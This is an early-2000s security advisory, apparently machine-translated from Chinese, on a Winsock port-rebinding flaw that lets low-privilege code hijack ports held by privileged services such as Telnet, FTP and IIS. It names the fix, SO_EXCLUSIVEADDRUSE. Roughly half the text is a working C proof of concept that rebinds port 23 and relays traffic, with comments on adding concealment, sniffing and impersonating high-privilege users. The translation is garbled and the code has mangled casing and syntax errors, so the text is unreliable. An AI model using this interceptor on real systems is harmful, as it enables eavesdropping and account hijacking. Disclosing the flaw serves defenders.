Create time: 2002-11-05
Article attribute: original
Article submission:
Flashsky (Flashsky1_at_sina.com)
Author: FLASHSKY
Email: Flashsky@xfocus.org
Site:
Www.xfocus.net www.shopsky.com
Reprint, please specify the original security focus
In the programming of Windows Socket server applications, the following statements may be:
s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
Saddr.sin_family = AF_INET;
Saddr.sin_addr.s_addr = HTONL (INADDR_ANY);
Bind (s, (sockaddr *) & saddr, sizeof (saddr));
In fact, this is in a very large security hazard, because in the implementation of Winsock, the binding of the server can be multi-binded, when determining who is used for multiple bindings, who is the designated, according to one principle, the specified, the most clear Submit the package, and there is no point of permissions, that is, the user who is low-level authority can be kept on the port of advanced privileges such as service startup, which is a very significant security hazard.
what does this mean? It means that the following attacks can be performed:
1. A Trojan binds to a port that has been legally existing on the port, and he judges his own package through his own specific package format, if it is handled, if it is not handed over to the real server application through 127.0.0.1 Treatment.
2. A Trojan can bind the port of the high-relocation service application, and perform the sniffing of the processing information. The communication that monitors a socket on a host requires very high privilege requirements, but it is actually re-tied with Socket. Set, you can easily monitor communication with this Socket programming vulnerability without having to use what hang, hook or low-level drive technology (you need administrator privileges to reach)
3. For some special applications, you can initiate an intermediary attack, get information or fact deception from low-rights users, such as blocking the 23 port of the Telnet server under Guest permission, if you use NTLM encryption certification, although you can't get the password directly Once the admin user logs in, your application can initiate a middle-aged attack, playing this login user to send high privileges through the socket, to the purpose of the invasion.
4. For the build web server, the intruder only needs to get low-level permissions, you can completely change the purpose of change the page, very simple, play your server to the connection request with other information response, or even e-commerce deception, Get illegal data.
In fact, the Socket programming of MS own services has such problems, and all of TELNET, FTP, and HTTP's service implementation can be used to attack, and the SYSTEM application is implemented on the low authority user. IIS including W2K SP3 is also the same, then if you can invade or take it with a low authority user, and the other party has opened these services, then you may wish. And I estimate that there are many third-party services that have many of this vulnerability.
The solution is very simple. When writing as above, you need to use SetsockOpt to specify SO_EXCLUSIVEADDRUSE asking for exclusive port addresses, not allow multiplexing. This other people cannot be multiplexed.
Below is an example of a simple intercept MS Telnet server, you can successfully intercept at Guest users, the remaining is that you have some special tailoring problems based on your own needs: such as hidden, sniffing data, high rights User spoof, etc. #include
#include
#include
#include
DWORD WINAPI ClientThread (LPVOID LPPARAM);
int main ()
{
Word wversionRequested;
DWORD RET;
Wsadata wsadata;
Bool Val;
SockAddr_in saddr;
SockAddr_in scaddr;
Int Err;
Socket S;
Socket sc;
Int Caddsize;
Handle MT;
DWORD TID;
WVersionRequested = MakeWord (2, 2);
Err = WSAStartup (WVersionRequested, & WSADATA);
IF (Err! = 0) {
Printf ("Error! WSAStartup Failed! / N");
Return -1;
}
Saddr.sin_family = AF_INET;
// Although the address can also be specified as INADDR_any, but should not affect the normal application, you should specify the specific IP, leave 127.0.0.1 to the normal service application, and then use this address to forward, it will not affect The other party is used normally
Saddr.sin_addr.s_addr = INET_ADDR ("192.168.0.60");
Saddr.sin_port = HTONS (23);
IF ((s = socket, sock_stream, ipproto_tcp) == Socket_ERROR)
{
Printf ("Error! Socket Failed! / N");
Return -1;
}
Val = true;
// SO_REUSEADDR option is to implement port heavy binding
IF (SETSOCKOPT (S, SOL_Socket, SO_REUSEADDR, (CHAR *) & Val, Sizeof (VAL))! = 0)
{
Printf ("Error! SetsockOpt Failed! / N");
Return -1;
}
// If you specify SO_EXCLUSIVEADDRUSE, it will not bind success, return the unauthorized error code;
// If you want to achieve hidden purposes by re-use port, you can dynamically test the currently bound port which can be successful, indicating this vulnerability, and then dynamically utilizing ports make more concealed
// In fact, the UDP port can be used to bind this, which is mainly to attack with Telnet services as an example.
IF (Bind (s, (sockaddr *) & saddr, sizeof (saddr)) == Socket_ERROR)
{
Ret = getLastError ();
Printf ("Error! Bind Failed! / N");
Return -1;
}
Listen (s, 2);
While (1)
{
CADDSIZE = SizeOf (SCADDR);
/ / Accept connection request
SC = Accept (S, Struct SockAddr *) & scaddr, & Caddsize); if (sc! = invalid_socket)
{
Mt = CreateThread (NULL, 0, Clientthread, (LPVOID) SC, 0, & TID;
IF (mt == null)
{
Printf ("Thread Creat Failed! / N");
Break;
}
}
CloseHandle (MT);
}
CloseSocket (s);
WSACLEANUP ();
Return 0;
}
DWORD WINAPI ClientThread (LPVOID LPPARAM)
{
Socket ss = (socket) LPPARAM;
Socket sc;
UNSIGNED Char BUF [4096];
SockAddr_in saddr;
Long Num;
DWORD VAL;
DWORD RET;
// If you are hidden port applications, you can add some judgment here.
// If you are your own package, you can do some special processing, not the pass 127.0.0.1 for forwarding
Saddr.sin_family = AF_INET;
Saddr.sin_addr.s_addr = inet_addr ("127.0.0.1");
Saddr.sin_port = HTONS (23);
IF ((sc = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP) == Socket_ERROR)
{
Printf ("Error! Socket Failed! / N");
Return -1;
}
VAL = 100;
IF (SETSOCKOPT (SC, SOL_Socket, SO_RCVTIMEO, (CHAR *) & Val, Sizeof (VAL))! = 0)
{
Ret = getLastError ();
Return -1;
}
IF (Setsockopt (SS, SOL_Socket, SO_RCVTIMEO, (Char *) & Val, Sizeof (VAL))! = 0)
{
Ret = getLastError ();
Return -1;
}
IF (Connect (SC, (SockAddr *) & Saddr, Sizeof (Saddr))! = 0)
{
Printf ("Error! Socket Connect Failed! / N");
CloseSocket (SC);
CloseSocket (SS);
Return -1;
}
While (1)
{
// The following code is mainly implemented through 127.0.0.1 this address to forward the package to the real app, and forward the response package back.
// If it is a sniffing content, you can perform content analysis and recording.
// If it is an attack such as a Telnet server, use its high privilege to log in to the user, you can analyze its login user, and then use the sending specific package to hijack the user's identity.
Num = RECV (SS, BUF, 4096, 0);
IF (Num> 0)
Send (SC, BUF, NUM, 0);
Else IF (NUM == 0)
Break;
Num = RECV (SC, BUF, 4096, 0);
IF (Num> 0)
Send (SS, BUF, NUM, 0);
Else IF (NUM == 0)
Break;
}
CloseSocket (SS);
CloseSocket (SC);
Return 0;
}